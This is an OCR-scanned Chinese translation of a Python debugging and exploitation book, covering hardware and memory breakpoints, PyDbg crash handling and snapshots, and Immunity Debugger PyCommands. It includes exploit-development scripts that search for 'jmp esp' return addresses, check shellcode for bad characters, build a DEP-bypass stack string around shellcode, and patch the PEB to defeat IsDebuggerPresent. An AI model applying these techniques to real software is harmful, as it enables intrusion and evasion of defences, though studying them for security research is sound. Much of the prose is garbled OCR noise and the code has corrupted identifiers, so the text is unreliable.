context.Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint removed
h_thread = self.open_thread(thread id)
kernel32.SetThreadContext(h thread,byref(context))
# remove the breakpoint from the internal list.
del self.-hardware breakpoints[slot]
return True

AORAR A Sy B 4 INTL gahirh (AR AN, B R AT R 7 A7 a HE 6 B0 E AT
PEWT s GERIN DR6) . WERAT RENE AL HT AU AR E: . B35 MR AR A 57 0 I e L — A
WAL, BURF DR MIARS AL B R, AL 1w e as h BB Rl itk . kR A2 2
my_test.py JFAE printf() L ¥ BB FWT SEF

#my_test.py

import my_debugger

from my_debugger defines import *

debugger = my debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf = debugger.func_resolve("msvcrt.dll","printf")

print "[*] Address of printf: 0x%08x" % printf



debugger.bp set hw(printf,]1, HW _EXECUTE)
debugger.run()

XANMARBIAE printf() EWCE T —Wal, N RE, st il k. Wi
PR — AT RNV B BIE XA AT E AN T my_debugger defines.py S5
AV ) HW_EXECUTE A28, JXHE 55 e AU 5 il -

AT IR g R W

Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
1 Thread ID:
[*] Exception address: 0x7¢901230

3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
2228
2228

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704

[*] Hardware breakpoint removed.

Listing 3-4: AbHE—ANME KT 5 44 1 i 7
—UJEETOR Y, FEP L SR, AR PR R . SR sE 2 JE, R 4kak

TEAPATANS o BLAETA T ORI AS DA SCRAEAF BRI 50 T S5 Jm K S A A2 B i
ne
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i — NS T BE S W AZ T A e KRR G 5 1 Je i — AN P AE e DUJT R B 3k 1
b (U B IAN AR T a bl ) — BB 1 DT/, B B B UL TR, A AR
AR (guard) T o 2 CPU 2237 W IX BN A7, i &5 Hi— 4~ GUARD _PAGE_EXCEPTION
T o FRATTHINT IV i A R e 5, R TR PR VS B CAHT,  d5 ) Lh AR P 4k 44T .

T AEUERA AT S TR O, B ) R G A S BRI AT TR ER AN . X
1 GetSystemInfo()B& H5¢ 1, B £ 2354 —A> SYSTEM__INFO 4544, iX A4 #44, & wPageSize
B, X ERAE RGN AT TR KD .
#my debugger.py

class debugger():

def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

# Here let's determine and store

# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page size = system_info.dwPageSize

T RAFBRIN DR, I8 A gl A 2 A 42 1 T AL PR o 58— 2D b JRAT T A g 1
AT I S AEAE T A B — AT . iR VirtualQueryEx() 8 %, B S — A
MEMORY_BASIC_INFORMATION 54, XA 3 7 TURME B . BREOR 2546 i X an
i

SIZE T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID IpAddress,
PMEMORY_ BASIC INFORMATION IpBuffer,
SIZE T dwLength

);

typedef struct MEMORY BASIC INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;

DWORD AllocationProtect;
SIZE T RegionSize;
DWORD State;

DWORD Protect;



DWORD Type;

T S5 44 T BaseAddress FREL A 2 B AT EE 15 BB ¥ 00 R T 4 Mok . B2 R OR A
VirtualProtectEx()i% B ALFR, BRI S WIS :

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID IpAddress,
SIZE T dwSize,
DWORD fINewProtect,
PDWORD IpflOldProtect

HERATE FERM ., AR 2 M RyEE, Xh— Mg aoaeRE T T
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#my_debugger.py

class debugger():
def init (self):

self.guarded pages =11
self.memory_breakpoints = {}

defbp set mem (self, address, size):
mbi = MEMORY_ BASIC INFORMATION()

# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY_ BASIC INFORMATION
# then return False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):

return False
current_page = mbi.BaseAddress

# We will set the permissions on all pages that are

# affected by our memory breakpoint.



while current page <= address + size:

# Add the page to the list; this will

# differentiate our guarded pages from those

# that were set by the OS or the debuggee process
self.guarded pages.append(current page)

old_protection = ¢_ulong(0)
if not kernel32.VirtualProtectEx(self.h _process,
current_page, size,
mbi.Protect | PAGE _GUARD, byref(old_protection)):
return False

# Increase our range by the size of the
# default system memory page size
current_page += self.page size

# Add the memory breakpoint to our global list
self.memory_breakpoints[address] = (address, size, mbi)

return True
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bp_set(address, description="",restore=True,handler=None)
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#printf_random.py
from pydbg import *



from pydbg.defines import *

import struct

import random

# This is our user defined callback function
def printf randomizer(dbg):

# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter _addr = dbg.context.Esp + 0x8
counter = dbg.read process memory(parameter addr,4)

# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
counter = struct.unpack("L",counter)[0]

print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)

random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the process

dbg.write_process_memory(parameter addr,random_counter)

return DBG_ CONTINUE
# Instantiate the pydbg class
dbg = pydbg()
# Now enter the PID of the printf loop.py process
pid = raw_input("Enter the printf loop.py PID: ")
# Attach the debugger to that process
dbg.attach(int(pid))
# Set the breakpoint with the printf randomizer function
# defined as a callback
printf address = dbg.func_resolve("msvert","printf")
dbg.bp_set(printf address,description="printf address",handler=printf randomizer)
# Resume the process
dbg.run()

WAEIZAT printf_loop.py H1 printf random.py PN SCF. Hrth 45 ¥ A1 4-1 AHALL.

Table 4- 111X a5 ARERE ) i
Output from Debugger Output from Debugged Process
Enter the printf loop.py PID: 3466 Loop iteration 0!

Loop iteration 1!

Loop iteration 2!



Loop iteration 3!

Counter: 4 Loop iteration 32!
Counter: 5 Loop iteration 39!
Counter: 6 Loop iteration 86!
Counter: 7 Loop iteration 22!
Counter: 8 Loop iteration 70!
Counter: 9 Loop iteration 95!
Counter: 10 Loop iteration 60!

T AR, iERAIFF printf_loop.py FAH.
from ctypes import *
import time
msvert = cdll.msvert
counter = 0
while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1
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#buffer_overflow.py

from ctypes import *

msvert = cdll.msvert

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer

buffer =c_char p("AAAAA")

# The overflow string

overflow ="A" * 100

# Run the overflow

msvecrt.strepy(buffer, overflow)

5] 7 H 7E1X ) msvert.strepy(buffer, overflow), 32 [N e — M e, A& IE4 &)
e — AR, R & overflow 4 AE F8 B AE T, 4R Sk Y AE M dk
(0x41414141414....0 A[EIXAHIEZR AR A REHIK . IMAETRAT & MG 7 Ml %401,
BRI T .

#access_violation_handler.py

from pydbg import *

from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler
def check accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash synopsis()

dbg.terminate process()

return DBG_EXCEPTION NOT_HANDLED
pid = raw_input("Enter the Process ID: ")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set callback(EXCEPTION ACCESS VIOLATION,check accessv)
dbg.run()

IAEIZAT buffer overflow.py, JFid F'eMEERES, TACE (5 S 5¢ LG FHS1T.



AT access_violation handler.py 3/, A NNAE) PID. i85 M i 22t FE LU, 72
IR A 2 FLALAR B, 9% R ORARVAZE BIANER 4-1 ARLLA St
python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access
violation when attempting to read from 0x41414195 CONTEXT
DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 (  11556304) -> @U™" B'Ox, 0 )Xb@|V'"L{O+H]$6 (heap)
ECX: 0021fe90 ( 2227856) -> 1$4/7/4|@%,\!$H8|!OGGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) -=> VO'w'W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00284220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf448 ( 505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 ( 2227828) ->2? BUH" 7|4|@%,\!$H8|!OGGBG) (stack)
+00: 00000000 ( 0) > N/A
+04: 1e063132 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(heap)
+0c: 00000000 ( 0) > N/A
+10: 00000000 ( 0) > N/A

+14: 00b055¢0 ( 11556288) > @F@U"" B'Ox,'0 )Xb@|V'"L{O+H]$ (heap)

disasm around:
0x1e071ccY int3
Oxle071cca int3
0Ox1e071ccb int3
Ox1le071ccc int3
Ox1le071ccd int3
Ox1le071cce int3
Ox1e071ccfint3
0x1e071cd0 push esi
0x1e071cdl mov esi,[esp+0x8]
0x1e071cdS mov eax,[esi+0x4]
0x1e071cd8 mov ecx,[eax+0x54]
0x1e071cdb test ch,0x40
Ox1e071cde jz Ox1e071cff
0x1e071ce0 mov eax,[eax+0xa4]
0x1e071ce6 test eax,eax
Ox1e071ce8 jz Ox1e071cf4
Ox1e071cea push esi
Ox1e071ceb call eax
Ox1e071ced add esp,0x4
0x1e071cf0 test eax,eax
0x1e071cf2 jz 0x1e071cff



SEH unwind:
0021ffe0 -> python.exe:1d00136¢ jmp [0x1d002040]
Tttt -> kernel32.d11:7c¢839aa8 push ebp
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#snapshot.py

from pydbg import *

from pydbg.defines import *
import threading

import time

import sys

class snapshotter(object):



def init (self,exe path):

self.exe path = exe_path
self.pid = None
self.dbg = None
self.running =True

# Start the debugger thread, and loop until it sets the PID

# of our target process

pydbg_thread = threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)

pydbg_thread.start()

while self.pid == None:
time.sleep(1)

# We now have a PID and the target is running; let's get a

# second thread running to do the snapshots

monitor_thread = threading. Thread(target=self.monitor debugger)
monitor_thread.setDaemon(0)

monitor_thread.start()

def monitor debugger(self):

while self.running == True:

input = raw_input("Enter: 'snap','restore' or 'quit")
input = input.lower().strip()

if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False
self.dbg.terminate process()

elif input == "snap":

print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot()

print "[*] Resuming operation."

self.dbg.resume_all threads()



—_—n

elif input == "restore":
print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Restoring snapshot."

self.dbg.process_restore()

print "[*] Resuming operation."

self.dbg.resume_all threads()
def start _debugger(self):
self.dbg = pydbg()

pid = self.dbg.load(self.exe_path)

self.pid = self.dbg.pid

self.dbg.run() exe path = "C:\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)
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MAX_ INSTRUCTIONS (FATEE A PSS D) . o4 N S ARG 2 — AN e s 1 p& 2
FEAC PRSI N B %, 2R3V EB crash B AL TS o 12 613 tH Pl T e 5
FHBTPRSE—2.

FEhY, @57 danger track.py, %A FIHIACHS .

#danger_track.py

from pydbg import *

from pydbg.defines import *

import utils

# This is the maximum number of instructions we will log

# after an access violation

MAX INSTRUCTIONS =10

# This is far from an exhaustive list; add more for bonus points

dangerous_functions = {
"strcpy" :  "msvert.dll",
"strncpy" :  "msvert.dll",
"sprintf" :  "msvert.dll",
"vsprintf": "msvcrt.dll"

H

dangerous_functions_resolved = {}

crash_encountered = False

instruction_count =0

def danger handler(dbg):

# We want to print out the contents of the stack; that's about it

# Generally there are only going to be a few parameters, so we will

# take everything from ESP to ESP+20, which should give us enough
# information to determine if we own any of the data

esp_offset=0

print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]

print

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset +=4

print

\n
dbg.suspend_all threads()

dbg.process_snapshot()

dbg.resume_all threads()



return DBG_ CONTINUE
def access_violation handler(dbg):
global crash_encountered

# Something bad happened, which means something good happened :)
# Let's handle the access violation and then restore the process
# back to the last dangerous function that was called

if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash _synopsis()

if crash_encountered == False:
dbg.suspend _all threads()
dbg.process_restore()
crash_encountered = True

# We flag each thread to single step
for thread _id in dbg.enumerate threads():

print "[*] Setting single step for thread: 0x%08x" % thread_id
h thread = dbg.open_thread(thread id)
dbg.single step(True, h_thread)
dbg.close handle(h_thread)

# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all threads()
return DBG_ CONTINUE
else:
dbg.terminate process()

return DBG_EXCEPTION NOT HANDLED

def single step handler(dbg):
global instruction_count
global crash_encountered

if crash_encountered:
if instruction_count == MAX INSTRUCTIONS:
dbg.single step(False)



return DBG_ CONTINUE

else:

# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s" % (instruction_count,dbg.context.Eip,
instruction)
instruction_count += 1

dbg.single step(True)
return DBG_ CONTINUE

dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor: "))

dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():

func address = dbg.func_resolve( dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func_address, handler = danger handler )
dangerous_functions resolved[func address] = func
dbg.set_callback( EXCEPTION ACCESS VIOLATION, access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE STEP, single step handler )
dbg.run()
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TS AR APT D o B A E LR G2 F, REER S WindDbg —FEAL ] diy 242 il
R, BeFH AT PyCommands.

S.2.1 PyCommands

7£ Immunity H #4417 Python [1) 7714 F] PyCommands. PyCommands % /& —-}> python
JHIAS SO, A7 JAE Immunity %2285 H 567 PyCommands SC{439¢ HL . &4 python JHIAHS AT —
AT (hooking, #AS/HTESRF), M T—4 PyCommand. %~ PyCommand #45—"
FRERIEiig . LUR SR — /MR RIAL:

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()
return "[*] PyCommand Executed!"

PyCommand H N5 & 5. —A mainOEE, R— NS5 (T S5 %)
python FZ8) . ) — /N #5452 AE bR BUINAT 58 B IR L 200R [Al— AN 455 5 B im BB/
PIAEE A IR . PAT i 2 Z W 20AE Ay 2 I — NI .

I<scriptname>

S5.2.2 PyHooks

Immunity WHIRESE 5 T 13 BAFEAE ) hook. £F—Fl hook #HE FAINSZIL, Bk A\
PyCommand.

BpHook/LogBpHook
AN W AR BRI, XA hook At 2B HT . P> hook fRAHAEL, BRT BpHook
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AllExceptHook
T 1) S 6 B S 25 Ak & 1A hook

PostAnalysisHook
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LoadDLLHook/UnloadDLLHook
—A DLL #7048 sl B 48 1 ik fisk A

CreateThreadHook/ExitThreadHook
AN R St B A B T Bk e A

CreateProcessHook/ExitProcessHook

9 H AR BERETT 0 5 S5 AP I A

FastLogHook/STDCALLFastLogHook
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A, AMAAEEAE o 2 e8I 1 (I B R hook ARHATHIs 28 /N FEXs PEAR FE

PLF 1 LogBpHook 1] TACHSE GE AL 4 PyHook AR o

from immlib import *
class MyHook( LogBpHook ):
def init (self):
LogBpHook. init ('self)

def run( regs ):
# Executed when hook gets triggered

FATHE S T LogBpHook 25, Ff HE. T run(BKEL (L0 . 4 hook #fil & Wi, Ji
1) CPU Zifrds, LAKIRL A HEAFN regs, MLBSFRATEE rT LUESCEATT o regs /&2 — A
B, AT Uy 1) AH Y. 2 A7 A
regs["ESP"]

hook ] LAy L #E PyCommand ., FHEFIHH . 0] DUS BUEIARN PyHooks H 5. %F
A3 Immunity #43 HI B INEGX L H sk o $8F KRG LS

5.3 Exploit F &

R g —DNTIFaa, R R R F 20, e A RKM —BgEE. A
Immunity %[ 18 TRXIUESM 7TVF2 LT 1R 80, ARG R IR D ARy . 2T k3R
fI1E T K —L8 PyCommands PLIIE exploit [ JFA . 1X¥% PyCommands % 5¢ i [ 5 g 045,
HBRE 2 MR 2B HATRR ) shellcode, 44uhY shellcode [ B i J Wr 2 75 A 75 B 3L 98
A EFRF. BATIERH PyCommand 7y 4! findantidep %81k DEP CRRAFHUATIRY ),

5.3.1 LRI R AR



FE3RAF EIP (IR o, VRt ZoR R AT AR A2 21 shellcode. MUK 7 At i, ik H]
— N FAF AR R IR shellcode o PR AT LA A5 T AT AR HEL a8 0 0 28 PO A D HEL 4 8k
e A A Immunity $2 A0 RS REZ DRI T AR AR L, R S AP
FHAERAM . TR T .

#findinstruction.py
from immlib import *
def main(args):
imm = Debugger()
search_code =" "join(args)
search_bytes = imm.Assemble( search code )

search_results = imm.Search( search_bytes )
for hit in search_results:

# Retrieve the memory page where this hit exists
# and make sure it's executable
code page =imm.getMemoryPagebyAddress( hit)
access = code_page.getAccess( human = True )
if "execute" in access.lower():
imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ),
address = hit )

return "[*] Finished searching for instructions, check the Log window."

PAVCHAEH RIS G NAAEF ] 2EEILgwmIESM ), AR5 Search() /7%
EHEANFE R 10 N A7 28 1) PP AL S XN FRA ko ZE3R B Mkl A 22 A, SR 2B Ha il BT s 1)
o BN DU A P HAT I o BB — AR A LI AR BN BE % 6 1 o 76 TRIRAR 11
2 LHAT W R a4
!findinstruction <instruction to search for>
PIAIZAT fa i N LR I S 40,

!findinstruction jmp esp

o HR 2R AL 5-2



Foundz Jj
Found: j
Foundz Jj

Foundz
Foundz Jj
Foundz Jj
Found: Jj
Foundz Jj
Foundz Jj
Foundz
Foundz Jj
Found: Jjmp esp

I!findinstrucﬁun jmp esp

[¥] Finizhed zearching for instructions, check the Log window.

P4 5-2 !findinstruction PyCommand )%

MR LA T —DHIEPIEE, XL BEASBE AT K shellcode JaATHEK (R HE 1R
(¥ shellcode HihEJHAE ESP ). SEANMIATRE FP#A L2 225, ERATIHEC LA T — e
PR ARSI TR, AREFR SR

532 HEAEEFF

MR — BRI A AR B bR /48, T ARFIKR, shellcode HVFARIMEIAT.
AT, WERFRATIN—A strepy ) TR H B T 22 P X i, BAT 1A AR A e 25
NULL F£F(0x00). [K Jy strepy()—i# #I] NULL 77wt & 45 1138 WUECHs . Aok, wlt s 25 %
shellcode #ifih, 7t HARNAFIAT G TS . SR1MT, 45247 5 Fh s A
T30 exploit 45 KW . LLWIFR 7 H 2 IR, B BRI R R EAT T SRR
FIMALE, X FUREAFIR T .

—AHOLR, WERARIRAT T EIP I HIRL R, SR )5 shellcode #il tH 15 17) 4451 50 crash H
b, B EHE QR R ORRETT, #3850 — R ARSI, i R BE AL 2R Ik
BN, EIXZHT, e S L AN shellcode #EHERTIIZHIEI N A7 . Immunity fif
XTI TAFEZR S . K 5-3 BoR T 2 5 HERS .



Fegisters (FFPUI

B194REFE
FEDEFF2H
FOFEFEFE

FEFEFROE
Fz OFE

B1FEFEF|
DABAFEZ

Figure 5-3: i 1 2 J5 Immunity £% 7 ]

WHRPT W, EIP 4T {EFN ESP (1) —HF o 4 ANF-15 1) 0xCC KA s 17 o (19459 1k 1A,
AR E A ERE TW A ( 0xCC FINT3 484 —FE) . KHH 4 N INT3 454, £F
ESP+0x4 J¢ shellcode [T . FATKG shellcode 4T T ¥ ASCIL 4, RfG—ANFH—4
TR A AT ¥ shellcode FIFATRIE shelleode A ILZET, WRA —ANFHEA—FE,
B e AT I R 8 . 7E 2 5 I BT SO R XA AP NN shellcode g

fREEWS N CANVAS, Metasploit, 8 # ik H CLIFHili&E ¥ shellcode. #1%E badchar.py SCAF,
LN AR
#badchar.py




from immlib import *
def main(args):
imm = Debugger()
bad char found = False
# First argument is the address to begin our search
address = int(args[0],16)
# Shellcode to verify
shellcode ="<<COPY AND PASTE YOUR SHELLCODE HERE>>"
shellcode length = len(shellcode)
debug_shellcode = imm.readMemory( address, shellcode length )
debug_shellcode = debug_shellcode.encode("HEX")
imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)
imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])
imm.log("In Memory Shellcode: %s" % id_shellcode[:512])
# Begin a byte-by-byte comparison of the two shellcode buffers
count=0
while count <= shellcode length:
if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad_char found = True
break
count +=1
if bad_char found:
imm.log("[*¥****] ")
imm.log("Bad character found: %s" % debug_shellcode[count])
imm.log("Bad character original: %s" % shellcode[count])
imm.log("[*¥*¥***] ")

return "[*] !badchar finished, check Log window."

FEIX A, AT M Immunity ZEF ] T readMemory ()RR 2. T A H 2
fRTBA ) P2 H EL G o IRAEVR T BDK R I shellcode 1t ASCIT i (4n AR 77 0xEB 0x09,
Imfid J5 5 R T2 BB 1% EB09), BACAYIE NHA, Jf Hian Figqr:

badchar <Address to Begin Search>

2 AT 7, FeATE AN ESP+0x4 Hb liE (0xOOAEFDA4C) - 4%, Fif LL 35 4
PyCommand $UAT U1 R iy 4

'badchar 0x00AEFD4c

FAT T BIASAE e IUAG B 54 A BRI AR N7 200 8 A K KA e £ R shellcode
S T



5.3.3 245> windows [ DEP

DEP J&—Fh{f windows(XP SP2, 2003, Vista) N SZHL 1) 22 4 L], kB 1hAR R
TEAR B HE EPAT o X AR FH L AR 2 BRI A ARG I2 1T, B K21 exploit #4s 2
shellcode JA7EHERE o SRTMTAH —NE ISR W56t DEP, F R A A1 (1) API i 4L
NtSetInformationProcess(). ‘& A& P 1 UERE [ DEP fR47, $ R 7 I HAT AR #7521 shellcode
Immunity JiiX#55& 4t 7—4> PyCommand 74
findantidep.py AEMEIR 25 ) % 2] DEP [k, ibFRATHE —FHIXA very very nice IR,

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

H TAEBERER) DEP fRY7 %%, 75 22K NtSetInformationProcess()
ProcessInformationClass pF %1 % & Ji ProcessExecuteFlags (0x22), ¥ ProcessInformation 2%
'E MEM_EXECUTE OPTION ENABLE (0x2). i) f /& 4 shellcode HFiff JT1iX /™ b8 Hioks 45
WL NULL 55 i) vk 2 38— AN E % W T NtSetInformationProcess() [F B 25, 15K
FATHY shellcode # VI 2IX AN AU . D4 > CAH SURAE ntdLdll B ] Immunity
S ntd1Ldll £ H X AL

7C91D3F8  .3CO01 CMPAL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC  .5E POP ESI

7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA  >8975FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD  .“E9 41D5FDFF JMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 06A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 .50 PUSH EAX

7C935D73 . 6A22 PUSH 22

7C935D75 . 6AFF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess



A 52 W FH NtSetInformationProces A B #E . H5GLLE: AL A1 1, 22 3N
ESI, B4 & 4Bk 5 0x7CO3FEBA. 71X ¥4 ESI #% Nlikkk EBP-4 (173 ESI 452442
2). HAEAEFKM B B 7CO1D403 . 71X HUKE A A HEAR EBP-4 fHAEE . 4% W Bki 2
0x7C935D6D . MIX HLITUGARFFAT R, 4 H55— N IE A, EBP-4 (AL 21) Bonakilt EAX,
RIGIRAAR, B 0x22 RN, HJa-1 B (-1 o281 Y aridt A2 DEP). )~ H]
ZwSetInformationProcess (NtSetInformationProcess 15 FK ). [ IAHE 58 Bl i Zh REAH 24+
I TR R AU

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect! IXFEHEFLN DEP sEALEUH T o AEXZ BiE RIS IE RN . 55— exploit /X
S HbE 0x7C91D3FS8 454, 2 —44T3] 0x7C9ID3F8 Z Wi, iff AL B 1.— HiF
JE TS, AT AEE L IMP ESP 5 #5 HIBUE 5 25 B AT 117 shellcode.  HLAE [RIET = AN 0h
ZRLFR Mk«

bR AL BEE K 1 AR JRIR ],
N HUIEAE ) I A S DEP AR ) E AL .
A AR RE AT IR [7] 2 B AT shellcode

P IR T BT OGRS L, A3t Immunity 32465 T findantidep.py 4By FA 152 1%
IR . B EARHARE A exploit FRFHE, 48 5K 1LY exploit 254, BRAESALI T . 8
KRB findantidep.py 10, H FAH A HAFIIA

#findantidep.py
import immlib
import immutils
def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]),
ord(buf[1]), ord(buf[2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""
def main(args):
imm=immlib.Debugger()
addylist =[]
mod = imm.getModule("ntdll.dll")
if not mod:
return "Error: Ntdll.dIl not found!"
# Finding the First ADDRESS  ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"

for a in ret:



addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address [sets AL to 1]",
addylist)
firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0x%08x" % firstaddy, address = firstaddy)
# Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(),
"CMP AL,0x1\n PUSH 0x2\n
POP ESI\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address= secondaddy )
# Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm code to search for")
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist =[]
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the Third return Address [jumps to
shellcode]", addylist)
thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%s\\x fA\X fN\x fA\x f{%s \\x A\ fFA\ AN " + "A" *
0x54 + "%s" + shellcode ' %\
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) )

BT HIEA"MOV AL, 1\nRET", R J5 7E i hik 51| & A i 85— o B35 1F ntd1Ldll B8R fx
DEP {01, 4 =3 FHHPITAR 24 shellcode AL, XA H N, iGlE
G, SRR Log B 1. Kl 5-4 F) 5-6 5L A AR

Please, choose the First Address [sets AL ko 1] x|

ztermnd24ShimE ng. dll

()% I Ear‘u:ell

Figure 5-4: Hi—3, EH— bk, JF&E AL N1




Insert the Asm code to search for El

JMF ESP

(0] % I Cancel

Figure 5-5: 4 N\ if; ZHE R 11154

Please, choose the Third return Address []u 5

xGf3abel s C:AWINDOWSYAppPatch AcGenral DLL

()% I Cancel

Figure 5-6: 45—k [ ik

BJEE I 4R
stack = "\x75\x24\x01\x01\xfAxfA\xfA\xfA\x56\x31\x91\x 7c\x fi\x fi\xfi\xff" + "A" * 0x54 +
"x75\x24\x01\x01" + shellcode

B A R ARIS AR ) shelledoe ZH5 2 J5, VRELREFR: exploit F A 3] 245 [« DEP ) &R 4t.
AR U 3] K Python BHIAS it BEAE AR J6 (1K s 1) Y T A& B RRUE 1) exploit, FR AN AE LA
AN R M, B AE 30 FRREG . BoRAE S Wil A immlib G639 B i — M1 e R
HL o

5.4 € R IFRANLE

UAE R R BRI T, TCR AR, AR RAE 5. —J7 T, RS
TR I AR AR E, 55— A7 A SR AL, Rl Rk o 45 ORI
TR A RO, JFH] Immunity #1885 A1 Python €13 A K BIA S SR EHLH

S.4.1 IsDebuggerPresent

WAE 5 T SOIR ML /2 H IsDebuggerPresent ([ kernel32. 3 ). MEATES
B, WmFRIA RS I S mr R, SR 1, wGRE] 0.1 R BAT I GniX A R AL



7C813093 >/§ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]

7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \.C3 RETN

ARG I AN BT (8] - 1k 1 B W 2E R R (R B A7, 28— AT, 3k FS 23 47 4% (1 5 0x18
PrFRE] TIB (LA B0 (Hbhk. 28 — AT i TIB (15 0x30 {74k PEBGH LA B )
it . 28 =47F PEB 1) 0x2 /7 & ) BeingDebugged A8 i AF7E EAX A 78, WA
TR M N2 ERE , 1Z4H K 0x1.Damian Gomez &4t T — /M) 8.1 77 X &8 ik IsDebuggerPresent,
A LMR 7 I AE Immunity $047, 8835 7E PyCommand H i FH .

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

L 48745 PEB ff) BeingDebugged H7 a5 4 4 11 ¥ B 0. 5L 15 4 5 T 1K 4k
IsDebuggerPresent KW T A28 T, ©HET .
